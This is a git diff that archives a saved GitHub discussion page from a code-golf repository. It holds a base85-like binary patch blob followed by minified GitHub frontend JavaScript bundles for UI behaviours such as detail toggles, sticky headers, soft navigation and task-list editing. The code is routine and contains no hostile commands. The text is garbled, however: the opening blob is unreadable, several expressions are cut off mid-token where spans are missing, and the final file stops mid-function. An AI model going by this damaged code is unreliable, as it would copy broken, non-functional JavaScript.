zMvdYvtx-POe6rGbUcs&xXoWtupTG5rzB+D%kc^iM5=_{$KAe4cFz5SzFVJvt*y>oI z0eY~px#iDjr%^bKr~rr-of5Bv5^^ik96#P%TCF|ZcK5rjXBC*uC7Lyi$Igr#h8A zg*^)fCeg~8?(F1Da5^dS2_Xi}bXvz1wXT>tI!Lr2M`O5by9gSAvu+=v`kD`-q!NX2 z4hZ!_ep4XVBGDBB^Det-7)Gx`{DTGS^&MK~p+j_nu1MHGxcfZ>{cM^v7Qv`*3J@*$ znBCpH}`(6YdkcY&f46*Z^ruAU_ zzI=5GD3{CqW$F*kp_R-pAv=b*5(5$?>qAd*i6lV`DBrgxht1-dKmhRJ><6E9?)c1) zd*vc|5T}Uqq)M%vQVPMixB|H>aXQw6(!HKO`V?qieDeF^rj{Bp((>uSod+=TuHe5GA zCL1IWO=i+tv4v|xa_=F17346_@jf$u-q-GVx6*(9_{+>jOcX?Sk`#rH#4T)~T8fB- zDGZ{yCS8R9W=;QK>ei)!GMUU*vww8aA>jl-AKWzk|=%edF#~ zTUZxt$IRZC`IYxEb0cr5B8{BU;(Z2Q&3huJvSe$d4rQaxRxUe|wJ% zvT=UcX#8#c?_^r%E2Icj#+YY&XfZrty07Jkk*C>$md`5L9L)^-X1OqWqdaAr=4Cf! z2ijvSjf{L%{$geKWnRtYsF7E4#oSO~q);dn48!O#$*bEd>{var x=Object.defineProperty;var t=(R,L)=>x(R,"name",{value:L,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["app_assets_modules_github_behaviors_details_ts-app_assets_modules_github_behaviors_include-fr-a5a4c7"],{47930:(R,L,r)=>{r.d(L,{S:()=>y});function d(p){const o=document.querySelectorAll(p);if(o.length>0)return o[o.length-1]}t(d,"queryLast");function A(){const p=d("meta[name=analytics-location]");return p?p.content:window.location.pathname}t(A,"pagePathname");function _(){const p=d("meta[name=analytics-location-query-strip]");let o="";p||(o=window.location.search);const a=d("meta[name=analytics-location-params]");a&&(o+=(o?"&":"?")+a.content);for(const i of document.querySelectorAll("meta[name=analytics-param-rename]")){const m=i.content.split(":",2);o=o.replace(new RegExp(`(^|[?&])${m[0]}($|=)`,"g"),`$1${m[1]}$2`)}return o}t(_,"pageQuery");function y(){return`${window.location.protocol}//${window.location.host}${A()+_()}`}t(y,"requestUri")},10178:(R,L,r)=>{r.d(L,{O4:()=>C,jo:()=>T,Qp:()=>S});var d=r(33948),A=r(59753);const _="ontransitionend"in window;function y(n,l){if(!_){l();return}const g=Array.from(n.querySelectorAll(".js-transitionable"));n.classList.contains("js-transitionable")&&g.push(n);for(const f of g){const w=p(f);f instanceof HTMLElement&&(f.addEventListener("transitionend",()=>{f.style.display="",f.style.visibility="",w&&o(f,function(){f.style.height=""})},{once:!0}),f.style.boxSizing="content-box",f.style.display="block",f.style.visibility="visible",w&&o(f,function(){f.style.height=getComputedStyle(f).height}),f.offsetHeight)}l();for(const f of g)if(f instanceof HTMLElement&&p(f)){const w=getComputedStyle(f).height;f.style.boxSizing="",w==="0px"?f.style.height=`${f.scrollHeight}px`:f.style.height="0px"}}t(y,"performTransition");function p(n){return getComputedStyle(n).transitionProperty==="height"}t(p,"isTransitioningHeight");function o(n,l){n.style.transition="none",l(),n.offsetHeight,n.style.transition=""}t(o,"withoutTransition");var a=r(96776);function i(n,l){l.find(g=>{const f=n.querySelectorAll(g),w=f[f.length-1];if(w&&document.activeElement!==w)return w.focus(),!0})}t(i,"findAndFocusByQuerySelector");function m(n){i(n,[".js-focus-on-dismiss","input[autofocus], textarea[autofocus]"])}t(m,"restoreAutofocus");function c(n){!n.classList.contains("tooltipped")||(n.classList.remove("tooltipped"),n.addEventListener("mouseleave",()=>{n.classList.add("tooltipped"),n.blur()},{once:!0}))}t(c,"hideTooltip");function E(n){return[...document.querySelectorAll(".js-details-container")].filter(l=>l.getAttribute("data-details-container-group")===n)}t(E,"groupMembers");function h(n){return[...n.querySelectorAll(".js-details-target")].filter(l=>l.closest(".js-details-container")===n)}t(h,"containerTargets");function v(n,l){const g=n.getAttribute("data-details-container-group");return g?((0,a.uQ)(n,()=>{for(const f of E(g))f!==n&&s(f,l)}),g):null}t(v,"toggleGroup");function s(n,l){n.classList.toggle("open",l),n.classList.toggle("Details--on",l);for(const g of h(n))g.setAttribute("aria-expanded",l.toString())}t(s,"updateOpenState");function S(n,l){var g,f;const w=n.getAttribute("data-details-container")||".js-details-container",M=n.closest(w),D=(g=l==null?void 0:l.force)!=null?g:!M.classList.contains("open"),I=(f=l==null?void 0:l.withGroup)!=null?f:!1;y(M,()=>{s(M,D);const e=I?v(M,D):null;Promise.resolve().then(()=>{m(M),c(n),M.dispatchEvent(new CustomEvent("details:toggled",{bubbles:!0,cancelable:!1,detail:{open:D}})),e&&M.dispatchEvent(new CustomEvent("details:toggled-group",{bubbles:!0,cancelable:!1,detail:{open:D,group:e}}))})})}t(S,"toggleDetailsTarget");function T(n){const l=n.getAttribute("data-details-container")||".js-details-container",f=n.closest(l).classList;return f.contains("Details--on")||f.contains("open")}t(T,"isDetailsTargetExpanded");function O(n){const l=n.altKey,g=n.currentTarget;S(g,{withGroup:l}),n.preventDefault()}t(O,"handleDetailsTargetClick"),(0,A.on)("click",".js-details-target",O),(0,d.Z)(function({target:n}){n&&C(n)});function C(n){let l=!1,g=n.parentElement;for(;g;)g.classList.contains("Details-content--shown")&&(l=!0),g.classList.contains("js-details-container")&&(g.classList.toggle("open",!l),g.classList.toggle("Details--on",!l),l=!1),g=g.parentElement}t(C,"ensureExpanded")},30479:(R,L,r)=>{r.d(L,{h:()=>A});var d=r(59753);(0,d.on)("click",".js-skip-to-content",function(i){const m=document.getElementById("start-of-content");if(m){const c=m.nextElementSibling;c instanceof HTMLElement&&(c.setAttribute("tabindex","-1"),c.setAttribute("data-skipped-to-content","1"),c.focus())}i.preventDefault()});function A(){let i=!1;const m=document.getElementById("start-of-content");if(m){const c=m.nextElementSibling;if(c instanceof HTMLElement)return i=c.getAttribute("data-skipped-to-content")==="1",i&&c.removeAttribute("data-skipped-to-content"),i}}t(A,"hasSkippedToContent");const _="ontouchstart"in document;function y(){return window.innerWidth>1012}t(y,"compatibleDesktop");for(const i of document.querySelectorAll(".HeaderMenu-details"))i.addEventListener("toggle",o),_||(i.addEventListener("mouseover",a),i.addEventListener("mouseleave",a));let p=!1;function o(i){if(!p){p=!0;for(const m of document.querySelectorAll(".HeaderMenu-details"))m!==i.currentTarget&&m.removeAttribute("open");setTimeout(()=>p=!1)}}t(o,"onMenuToggle");function a(i){const{currentTarget:m}=i;!(m instanceof HTMLElement)||!y()||(i.type==="mouseover"&&i instanceof MouseEvent?i.target instanceof Node&&i.relatedTarget instanceof Node&&m.contains(i.target)&&!m.contains(i.relatedTarget)&&m.setAttribute("open",""):m.removeAttribute("open"))}t(a,"onMenuHover")},55444:(R,L,r)=>{r.d(L,{$:()=>i,G:()=>a});var d=r(6741),A=r(64463),_=r(59753);(0,A.N7)("include-fragment, poll-include-fragment",{subscribe:c=>(0,d.qC)((0,d.RB)(c,"error",o),(0,d.RB)(c,"loadstart",p))}),(0,_.on)("click","include-fragment button[data-retry-button]",({currentTarget:c})=>{const E=c.closest("include-fragment"),h=E.src;E.src="",E.src=h});function y(c,E){const h=c.currentTarget;if(h instanceof Element){for(const v of h.querySelectorAll("[data-show-on-error]"))v instanceof HTMLElement&&(v.hidden=!E);for(const v of h.querySelectorAll("[data-hide-on-error]"))v instanceof HTMLElement&&(v.hidden=E)}}t(y,"toggleElements");function p(c){y(c,!1)}t(p,"onLoad");function o(c){y(c,!0)}t(o,"onError");function a({currentTarget:c}){c instanceof Element&&i(c)}t(a,"loadDeferredContentByEvent");function i(c){const E=c.closest("details");E&&m(E)}t(i,"loadDeferredContent");function m(c){const E=c.getAttribute("data-deferred-details-content-url");if(E){c.removeAttribute("data-deferred-details-content-url");const h=c.querySelector("include-fragment, poll-include-fragment");h&&(h.src=E)}}t(m,"setIncludeFragmentSrc")},79775:(R,L,r)=>{r.d(L,{O3:()=>a,SX:()=>y,_g:()=>p,a8:()=>_,lB:()=>o});let d=0;const A=new Set;function _(i){A.add(i)}t(_,"observeStickyHeaderHeight");function y(i){A.delete(i)}t(y,"unobserveStickyHeaderHeight");function p(){return d}t(p,"getBaseStickyHeaderHeight");function o(i){d=i,i?document.body.style.setProperty("--base-sticky-header-height",`${i}px`):document.body.style.removeProperty("--base-sticky-header-height");for(const m of A)m(i)}t(o,"setBaseStickyHeaderHeight");const a="var(--base-sticky-header-height, 0px)"},55898:(R,L,r)=>{r.d(L,{H:()=>c});var d=r(30479),A=r(7739),_=r(64463),y=r(79775);let p=!1;const o=[];function a(){o.length?i():m()}t(a,"manageObservers");function i(){p||(window.addEventListener("resize",E),document.addEventListener("scroll",E),p=!0)}t(i,"addObservers");function m(){window.removeEventListener("resize",E),document.removeEventListener("scroll",E),p=!1}t(m,"removeObservers");function c(){h(!0)}t(c,"forceStickyRelayout");function E(){h()}t(E,"checkElementsForStickingHandler");function h(e=!1){for(const u of o)if(u.element.offsetHeight>0){const{element:b,placeholder:P,top:k}=u,B=b.getBoundingClientRect();if(P){const H=P.getBoundingClientRect();b.classList.contains("is-stuck")?H.top>D(b,k)?S(u):T(u):B.top<=D(b,k)?s(u):e&&T(u)}else B.top-D(b,k)<.1?s(u):S(u)}}t(h,"checkElementsForSticking");function v(e){const{position:u}=window.getComputedStyle(e);return/sticky/.test(u)}t(v,"browserHasSticky");function s({element:e,placeholder:u,top:b}){if(u){const P=e.getBoundingClientRect();I(e,D(e,b)),e.style.left=`${P.left}px`,e.style.width=`${P.width}px`,e.style.marginTop="0",e.style.position="fixed",u.style.display="block"}e.classList.add("is-stuck")}t(s,"pinSet");function S({element:e,placeholder:u}){u&&(e.style.position="static",e.style.marginTop=u.style.marginTop,u.style.display="none"),e.classList.remove("is-stuck")}t(S,"unpinSet");function T({element:e,placeholder:u,offsetParent:b,top:P}){if(u&&!(0,d.h)()){const k=e.getBoundingClientRect(),B=u.getBoundingClientRect();if(I(e,D(e,P)),e.style.left=`${B.left}px`,e.style.width=`${B.width}px`,b){const H=b.getBoundingClientRect();H.bottomb.element).indexOf(e);o.splice(u,1)}t(n,"removeSet");async function l(e){await A.C,C(e),h(),a()}t(l,"initializeSet"),(0,_.N7)(".js-sticky",{constructor:HTMLElement,add(e){!e.isConnected||l(e)},remove(e){n(e),a()}}),(0,_.N7)(".js-notification-top-shelf",{constructor:HTMLElement,add(e){g(e)},remove(){(0,y._g)()>0&&((0,y.lB)(0),f(),c())}}),(0,_.N7)(".js-notification-shelf-offset-top, .js-position-sticky",{constructor:HTMLElement,add:w});async function g(e){if(e.offsetParent===null)return;await A.C;const u=Math.floor(e.getBoundingClientRect().height);u>0&&((0,y.lB)(u),f(),c())}t(g,"initializeNotificationShelf");function f(){for(const e of document.querySelectorAll(".js-position-sticky, .js-notification-shelf-offset-top"))w(e)}t(f,"updateTopOffsets");function w(e){if(e.classList.contains("js-notification-top-shelf"))return;const u=parseInt(M(e))||0;I(e,u+(0,y._g)())}t(w,"updateTopOffset");function M(e){const u=e.getAttribute("data-original-top");if(u!=null)return u;const b=window.getComputedStyle(e).top;return e.setAttribute("data-original-top",b),b}t(M,"getOriginalTop");function D(e,u){return e.classList.contains("js-notification-top-shelf")?u:u+(0,y._g)()}t(D,"withShelfOffset");function I(e,u){e.style.setProperty("top",`${u}px`,"important")}t(I,"setTopImportant")},84818:(R,L,r)=>{r.d(L,{Z:()=>A});class d{getItem(){return null}setItem(){}removeItem(){}clear(){}key(){return null}get length(){return 0}}t(d,"NoOpStorage");function A(_,y={throwQuotaErrorsOnSet:!1},p=window){let o;try{o=p[_]}catch{o=new d}const{throwQuotaErrorsOnSet:a}=y;function i(E){try{return o.getItem(E)}catch{return null}}t(i,"getItem");function m(E,h){try{o.setItem(E,h)}catch(v){if(a&&v.message.toLowerCase().includes("quota"))throw v}}t(m,"setItem");function c(E){try{o.removeItem(E)}catch{}}return t(c,"removeItem"),{getItem:i,setItem:m,removeItem:c}}t(A,"safeStorage")},24216:(R,L,r)=>{r.d(L,{LS:()=>_,cl:()=>y,rV:()=>A});var d=r(84818);const{getItem:A,setItem:_,removeItem:y}=(0,d.Z)("sessionStorage")},29946:(R,L,r)=>{r.d(L,{Ak:()=>s,F2:()=>w,F6:()=>n,FP:()=>h,LD:()=>E,OE:()=>c,Po:()=>m,QE:()=>y,Rl:()=>g,Xk:()=>O,Ys:()=>C,aN:()=>f,wP:()=>l});var d=r(24216),A=r(47930),_=r(45922);const y=Object.freeze({INITIAL:"soft-nav:initial",SUCCESS:"soft-nav:success",ERROR:"soft-nav:error",FRAME_UPDATE:"soft-nav:frame-update",START:"soft-nav:start",END:"soft-nav:end"}),p="soft-navigation-fail",o="soft-navigation-referrer",a="soft-navigation-marker",i="reload";function m(){return(0,d.rV)(a)==="1"}t(m,"inSoftNavigation");function c(){return Boolean(S())}t(c,"hasSoftNavFailure");function E(){performance.mark(a),(0,d.LS)(a,"1"),(0,d.LS)(o,(0,A.S)()||window.location.href)}t(E,"startSoftNav");function h(){(0,d.LS)(a,"0")}t(h,"endSoftNav");function v(){(0,d.LS)(a,"0"),(0,d.cl)(o),(0,d.cl)(p)}t(v,"clearSoftNav");function s(M){(0,d.LS)(p,M||i)}t(s,"setSoftNavFailReason");function S(){return(0,d.rV)(p)}t(S,"getSoftNavFailReason");let T=0;function O(){T+=1,document.dispatchEvent(new CustomEvent(y.SUCCESS,{detail:T}))}t(O,"softNavSucceeded");function C(){const M=S()||i;document.dispatchEvent(new CustomEvent(y.ERROR,{detail:M})),T=0,v(),(0,_.b)({turboFailureReason:M})}t(C,"softNavFailed");function n(){document.dispatchEvent(new CustomEvent(y.INITIAL)),T=0,v()}t(n,"softNavInitial");function l(){return(0,d.rV)(o)||document.referrer}t(l,"getSoftNavReferrer");function g(){return performance.getEntriesByName(a).length===0?0:performance.measure(a,a).duration}t(g,"getDurationSinceLastSoftNav");function f(){document.dispatchEvent(new Event(y.START))}t(f,"beginProgressBar");function w(){document.dispatchEvent(new Event(y.END))}t(w,"completeProgressBar")},11820:(R,L,r)=>{r.d(L,{kc:()=>y,lA:()=>p,zT:()=>_});var d=r(61161),A=r(55898);function _(o){if(o.hasAttribute("data-ignore-sticky-scroll"))return;const a=o.ownerDocument;setTimeout(()=>{a&&a.defaultView&&(o.scrollIntoView(),a.defaultView.scrollBy(0,-p(a)))},0)}t(_,"scrollIntoView");function y(o){const a=(0,d.Kt)(o);a&&_(a)}t(y,"scrollToFragmentTarget");function p(o){(0,A.H)();const a=o.querySelectorAll(".js-sticky-offset-scroll"),i=o.querySelectorAll(".js-position-sticky"),m=Math.max(0,...Array.from(a).map(h=>{const{top:v,height:s}=h.getBoundingClientRect();return v===0?s:0}))+Math.max(0,...Array.from(i).map(h=>{const{top:v,height:s}=h.getBoundingClientRect(),S=parseInt(getComputedStyle(h).top);if(!h.parentElement)return 0;const T=h.parentElement.getBoundingClientRect().top;return v===S&&T<0?s:0})),c=o.querySelectorAll(".js-position-sticky-stacked"),E=Array.from(c).reduce((h,v)=>{const{height:s,top:S}=v.getBoundingClientRect(),T=S<0,O=v.classList.contains("is-stuck");return h+(!T&&O?s:0)},0);return m+E}t(p,"computeFixedYOffset")},78965:(R,L,r)=>{r.d(L,{H5:()=>i,Of:()=>E,x0:()=>c,z8:()=>m});var d=r(55741),A=r(64463),_=r(12981),y=r(96776),p=r(6170);const o=new WeakMap,a={};function i(){for(const S of Object.keys(a))delete a[S];const s=history.state||{};s.staleRecords=a,(0,p.lO)(s,"",location.href),window.location.reload()}t(i,"reload");function m(){if(Object.keys(a).length>0){const s=history.state||{};s.staleRecords=a,(0,p.lO)(s,"",location.href)}}t(m,"registerStaleRecords");async function c(s){if(o.get(s))return;const S=s.hasAttribute("data-retain-focus"),T=s.getAttribute("data-url");if(!T)throw new Error("could not get url");const O=new AbortController;o.set(s,O);try{const C=await fetch(T,{signal:O.signal,headers:{Accept:"text/html","X-Requested-With":"XMLHttpRequest"}});if(!C.ok)return;const n=await C.text();if((0,d.M)(s,S)){console.warn("Failed to update content with interactions",s);return}return a[T]=n,h(s,n,S)}catch{}finally{o.delete(s)}}t(c,"updateContent");async function E(s,S,T=!1){const O=o.get(s);O==null||O.abort();const C=s.closest(".js-updatable-content[data-url], .js-updatable-content [data-url]");return!T&&C&&C===s&&(a[C.getAttribute("data-url")||""]=S),h(s,S)}t(E,"replaceContent");function h(s,S,T=!1){return(0,y._8)(document,()=>{const O=(0,_.r)(document,S.trim()),C=T&&s.ownerDocument&&s===s.ownerDocument.activeElement?O.querySelector("*"):null,n=Array.from(s.querySelectorAll("details[open][id]")).map(l=>l.id);s.tagName==="DETAILS"&&s.id&&s.hasAttribute("open")&&n.push(s.id);for(const l of s.querySelectorAll(".js-updatable-content-preserve-scroll-position")){const g=l.getAttribute("data-updatable-content-scroll-position-id")||"";v.set(g,l.scrollTop)}for(const l of n){const g=O.querySelector(`#${l}`);g&&g.setAttribute("open","")}s.replaceWith(O),C instanceof HTMLElement&&C.focus()})}t(h,"replace");const v=new Map;(0,A.N7)(".js-updatable-content-preserve-scroll-position",{constructor:HTMLElement,add(s){const S=s.getAttribute("data-updatable-content-scroll-position-id");if(!S)return;const T=v.get(S);T!=null&&(s.scrollTop=T)}})}}]);})(); + +//# sourceMappingURL=app_assets_modules_github_behaviors_details_ts-app_assets_modules_github_behaviors_include-fr-a5a4c7-5a4c6c94cf6d.js.map \ No newline at end of file diff --git a/archive/Problem 5 Mocking Spongebob · Discussion #6 · Ta180m_Idiot-Code-Golf_files/app_assets_modules_github_behaviors_keyboard-shortcuts-helper.js b/archive/Problem 5 Mocking Spongebob · Discussion #6 · Ta180m_Idiot-Code-Golf_files/app_assets_modules_github_behaviors_keyboard-shortcuts-helper.js new file mode 100644 index 0000000..005869f --- /dev/null +++ b/archive/Problem 5 Mocking Spongebob · Discussion #6 · Ta180m_Idiot-Code-Golf_files/app_assets_modules_github_behaviors_keyboard-shortcuts-helper.js @@ -0,0 +1,14 @@ +"use strict";(()=>{var ne=Object.defineProperty;var s=(M,w)=>ne(M,"name",{value:w,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["app_assets_modules_github_behaviors_keyboard-shortcuts-helper_ts-app_assets_modules_github_be-af52ef"],{7679:(M,w,c)=>{c.d(w,{H:()=>f,v:()=>p});var h=c(59753);function p(){const l=document.getElementById("ajax-error-message");l&&(l.hidden=!1)}s(p,"showGlobalError");function f(){const l=document.getElementById("ajax-error-message");l&&(l.hidden=!0)}s(f,"hideGlobalError"),(0,h.on)("deprecatedAjaxError","[data-remote]",function(l){const r=l.detail,{error:d,text:E}=r;l.currentTarget===l.target&&(d==="abort"||d==="canceled"||(/{c.d(w,{Ty:()=>p,YE:()=>f,Zf:()=>l});var h=c(11793);const p=s(()=>{const r=document.querySelector("meta[name=keyboard-shortcuts-preference]");return r?r.content==="all":!0},"areCharacterKeyShortcutsEnabled"),f=s(r=>/Enter|Arrow|Escape|Meta|Control|Esc/.test(r)||r.includes("Alt")&&r.includes("Shift"),"isNonCharacterKeyShortcut"),l=s(r=>{const d=(0,h.EL)(r);return p()?!0:f(d)},"isShortcutAllowed")},72669:(M,w,c)=>{c.d(w,{L$:()=>E,nj:()=>g});var h=c(6741),p=c(59753),f=c(40987),l=c(64463),r=c(65935),d=c(56238);(0,l.N7)(".js-task-list-container .js-task-list-field",function(e){const o=e.closest(".js-task-list-container");E(o),q(o)}),(0,p.on)("task-lists-move","task-lists",function(e){const{src:o,dst:t}=e.detail,u=e.currentTarget.closest(".js-task-list-container");m(u,"reordered",{operation:"move",src:o,dst:t})}),(0,p.on)("task-lists-check","task-lists",function(e){const{position:o,checked:t}=e.detail,u=e.currentTarget.closest(".js-task-list-container");m(u,`checked:${t?1:0}`,{operation:"check",position:o,checked:t})});function E(e){if(e.querySelector(".js-task-list-field")){const o=e.querySelectorAll("task-lists");for(const t of o)if(t instanceof f.Z){t.disabled=!1;const u=t.querySelectorAll("button");for(const T of u)T.disabled=!1}}}s(E,"enableTaskList");function g(e){for(const o of e.querySelectorAll("task-lists"))if(o instanceof f.Z){o.disabled=!0;const t=o.querySelectorAll("button");for(const u of t)u.disabled=!0}}s(g,"disableTaskList");function m(e,o,t){const u=e.querySelector(".js-comment-update");g(e),q(e);const T=u.elements.namedItem("task_list_track");T instanceof Element&&T.remove();const y=u.elements.namedItem("task_list_operation");y instanceof Element&&y.remove();const A=document.createElement("input");A.setAttribute("type","hidden"),A.setAttribute("name","task_list_track"),A.setAttribute("value",o),u.appendChild(A);const k=document.createElement("input");if(k.setAttribute("type","hidden"),k.setAttribute("name","task_list_operation"),k.setAttribute("value",JSON.stringify(t)),u.appendChild(k),!u.elements.namedItem("task_list_key")){const O=u.querySelector(".js-task-list-field").getAttribute("name").split("[")[0],I=document.createElement("input");I.setAttribute("type","hidden"),I.setAttribute("name","task_list_key"),I.setAttribute("value",O),u.appendChild(I)}e.classList.remove("is-comment-stale"),(0,d.Bt)(u)}s(m,"saveTaskList"),(0,r.AC)(".js-task-list-container .js-comment-update",async function(e,o){const t=e.closest(".js-task-list-container"),u=e.elements.namedItem("task_list_track");u instanceof Element&&u.remove();const T=e.elements.namedItem("task_list_operation");T instanceof Element&&T.remove();let y;try{y=await o.json()}catch(A){let k;try{k=JSON.parse(A.response.text)}catch{}if(k&&k.stale){const C=t.querySelector(".js-task-list-field");C.classList.add("session-resumable-canceled"),C.classList.remove("js-session-resumable")}else A.response.status===422||window.location.reload()}y&&(T&&y.json.source&&(t.querySelector(".js-task-list-field").value=y.json.source),E(t),requestAnimationFrame(()=>q(t)))});let v=!1,_=!1,L=null;function i(e){e.inputType==="insertLineBreak"?v=!0:v=!1}s(i,"tryAutoCompleteOnBeforeInput");function a(e){const o=e;if(!v&&!(o.inputType==="insertLineBreak"))return;const t=o.target;n(t),v=!1}s(a,"autoCompleteOnInput");function n(e){const o=Y(e.value,[e.selectionStart,e.selectionEnd]);o!==void 0&&b(e,o)}s(n,"listAutocomplete");function b(e,o){if(L===null||L===!0){e.contentEditable="true";try{v=!1;let t;o.commandId===X.insertText?(t=o.autocompletePrefix,o.writeSelection[0]!==null&&o.writeSelection[1]!==null&&(e.selectionStart=o.writeSelection[0],e.selectionEnd=o.writeSelection[1])):e.selectionStart=o.selection[0],L=document.execCommand(o.commandId,!1,t)}catch{L=!1}e.contentEditable="false"}if(!L){try{document.execCommand("ms-beginUndoUnit")}catch{}e.value=o.text;try{document.execCommand("ms-endUndoUnit")}catch{}e.dispatchEvent(new CustomEvent("input",{bubbles:!0,cancelable:!0}))}o.selection[0]!=null&&o.selection[1]!=null&&(e.selectionStart=o.selection[0],e.selectionEnd=o.selection[1])}s(b,"updateElementText");function S(e){if(_)return;const o=e;if(o.key==="Enter"&&o.shiftKey&&!o.metaKey){const t=o.target,u=G(t.value,[t.selectionStart,t.selectionEnd]);if(u===void 0)return;b(t,u),o.preventDefault(),(0,p.f)(t,"change")}}s(S,"handleShiftEnter");function R(){_=!0}s(R,"onCompositionStart");function j(){_=!1}s(j,"onCompositionEnd");function H(e){if(_)return;const o=e;if(o.key==="Escape"){ee(e);return}if(o.key!=="Tab")return;const t=o.target,u=Q(t.value,[t.selectionStart,t.selectionEnd],o.shiftKey);u!==void 0&&(o.preventDefault(),b(t,u))}s(H,"updateIndentation"),(0,l.N7)(".js-task-list-field",{subscribe:e=>(0,h.qC)((0,h.RB)(e,"keydown",H),(0,h.RB)(e,"keydown",S),(0,h.RB)(e,"beforeinput",i),(0,h.RB)(e,"input",a),(0,h.RB)(e,"compositionstart",R),(0,h.RB)(e,"compositionend",j))});var X=(e=>(e.insertText="insertText",e.delete="delete",e))(X||{});const Z=/^(\s*)?/;function G(e,o){const t=o[0];if(!t||!e)return;const u=e.substring(0,t).split(` +`),T=u[u.length-1],y=T==null?void 0:T.match(Z);if(!y)return;const k=` +${y[1]||""}`;return{text:e.substring(0,t)+k+e.substring(t),autocompletePrefix:k,selection:[t+k.length,t+k.length],commandId:"insertText",writeSelection:[null,null]}}s(G,"addSoftNewline");const z=/^(\s*)([*-]|(\d+)\.)\s(\[[\sx]\]\s)?/;function J(e,o){let t=e.split(` +`);return t=t.map(u=>{if(u.replace(/^\s+/,"").startsWith(`${o}.`)){const T=u.replace(`${o}`,`${o+1}`);return o+=1,T}return u}),t.join(` +`)}s(J,"updateRemainingNumberBullets");function Y(e,o){const t=o[0];if(!t||!e)return;const u=e.substring(0,t).split(` +`),T=u[u.length-2],y=T==null?void 0:T.match(z);if(!y)return;const A=y[0],k=y[1],C=y[2],x=parseInt(y[3],10),O=Boolean(y[4]),I=!isNaN(x);let B=`${I?`${x+1}.`:C} ${O?"[ ] ":""}`,W=e.indexOf(` +`,t);W<0&&(W=e.length);const K=e.substring(t,W);if(K.startsWith(B)&&(B=""),T.replace(A,"").trim().length>0||K.trim().length>0){let P=`${k}${B}`,D=e.substring(t);const F=P.length;let U=[null,null];const te=/^\s*$/g;let V=e.substring(0,t)+P+D;return I&&!e.substring(t).match(te)&&(D=J(e.substring(t),x+1),P+=D,U=[t,t+P.length],V=e.substring(0,t)+P),{text:V,autocompletePrefix:P,selection:[t+F,t+F],commandId:"insertText",writeSelection:U}}else{const P=t-` +${A}`.length;return{autocompletePrefix:"",text:e.substring(0,P)+e.substring(t),selection:[P,P],commandId:"delete",writeSelection:[null,null]}}}s(Y,"autocompletedList");function Q(e,o,t){const u=o[0]||0,T=o[1]||u;if(o[0]===null||u===T)return;const y=e.substring(0,u).lastIndexOf(` +`)+1,A=e.indexOf(` +`,T-1),k=A>0?A:e.length-1,C=e.substring(y,k).split(` +`);let x=!1,O=0,I=0;const N=[];for(const $ of C){const P=$.match(/^\s*/);if(P){let D=P[0];const F=$.substring(D.length);if(t){const U=D.length;D=D.slice(0,-2),O=x?O:D.length-U,x=!0,I+=D.length-U}else D+=" ",O=2,I+=2;N.push(D+F)}}const B=N.join(` +`),W=e.substring(0,y)+B+e.substring(k),K=[Math.max(y,u+O),T+I];return{text:W,selection:K,autocompletePrefix:B,commandId:"insertText",writeSelection:[y,k]}}s(Q,"indent");function ee(e){const t=e.target;t.selectionDirection==="backward"?t.selectionEnd=t.selectionStart:t.selectionStart=t.selectionEnd}s(ee,"deselectText");function q(e){if(document.querySelectorAll("tracked-issues-progress").length===0||e.closest(".js-timeline-item"))return;const t=e.querySelectorAll(".js-comment-body [type=checkbox]"),u=t.length,T=Array.from(t).filter(A=>A.checked).length,y=document.querySelectorAll("tracked-issues-progress[data-type=checklist]");for(const A of y)A.setAttribute("data-completed",String(T)),A.setAttribute("data-total",String(u))}s(q,"updateProgress")},12737:(M,w,c)=>{c.d(w,{W:()=>p});var h=c(59753);async function p(f){const r=document.querySelector("#site-details-dialog").content.cloneNode(!0),d=r.querySelector("details"),E=d.querySelector("details-dialog"),g=d.querySelector(".js-details-dialog-spinner");f.detailsClass&&d.classList.add(...f.detailsClass.split(" ")),f.dialogClass&&E.classList.add(...f.dialogClass.split(" ")),f.label?E.setAttribute("aria-label",f.label):f.labelledBy&&E.setAttribute("aria-labelledby",f.labelledBy),document.body.append(r);const m=await f.content;return g.remove(),E.prepend(m),d.addEventListener("toggle",()=>{d.hasAttribute("open")||((0,h.f)(E,"dialog:remove"),d.remove())}),E}s(p,"dialog")},29719:(M,w,c)=>{c.d(w,{D:()=>l,a:()=>f});var h=c(17463),p=c(12981);async function f(r,d,E){const g=new Request(d,E);g.headers.append("X-Requested-With","XMLHttpRequest");const m=await self.fetch(g);if(m.status<200||m.status>=300)throw new Error(`HTTP ${m.status}${m.statusText||""}`);return(0,h.t)((0,h.P)(r),m),(0,p.r)(r,await m.text())}s(f,"fetchSafeDocumentFragment");function l(r,d,E=1e3){return s(async function g(m){const v=new Request(r,d);v.headers.append("X-Requested-With","XMLHttpRequest");const _=await self.fetch(v);if(_.status<200||_.status>=300)throw new Error(`HTTP ${_.status}${_.statusText||""}`);if(_.status===200)return _;if(_.status===202)return await new Promise(L=>setTimeout(L,m)),g(m*1.5);throw new Error(`Unexpected ${_.status} response status from poll endpoint`)},"poll")(E)}s(l,"fetchPoll")},56238:(M,w,c)=>{c.d(w,{Bt:()=>r,DN:()=>g,KL:()=>_,Se:()=>E,qC:()=>L,sw:()=>m});var h=c(59753),p=c(2061),f=c(7679);(0,h.on)("click",".js-remote-submit-button",async function(i){const n=i.currentTarget.form;i.preventDefault();let b;try{b=await fetch(n.action,{method:n.method,body:new FormData(n),headers:{Accept:"application/json","X-Requested-With":"XMLHttpRequest"}})}catch{}b&&!b.ok&&(0,f.v)()});function l(i,a,n){return i.dispatchEvent(new CustomEvent(a,{bubbles:!0,cancelable:n}))}s(l,"fire");function r(i,a){a&&(d(i,a),(0,p.j)(a)),l(i,"submit",!0)&&i.submit()}s(r,"requestSubmit");function d(i,a){if(!(i instanceof HTMLFormElement))throw new TypeError("The specified element is not of type HTMLFormElement.");if(!(a instanceof HTMLElement))throw new TypeError("The specified element is not of type HTMLElement.");if(a.type!=="submit")throw new TypeError("The specified element is not a submit button.");if(!i||i!==a.form)throw new Error("The specified element is not owned by the form element.")}s(d,"checkButtonValidity");function E(i,a){if(typeof a=="boolean")if(i instanceof HTMLInputElement)i.checked=a;else throw new TypeError("only checkboxes can be set to boolean value");else{if(i.type==="checkbox")throw new TypeError("checkbox can't be set to string value");i.value=a}l(i,"change",!1)}s(E,"changeValue");function g(i,a){for(const n in a){const b=a[n],S=i.elements.namedItem(n);(S instanceof HTMLInputElement||S instanceof HTMLTextAreaElement)&&(S.value=b)}}s(g,"fillFormValues");function m(i){if(!(i instanceof HTMLElement))return!1;const 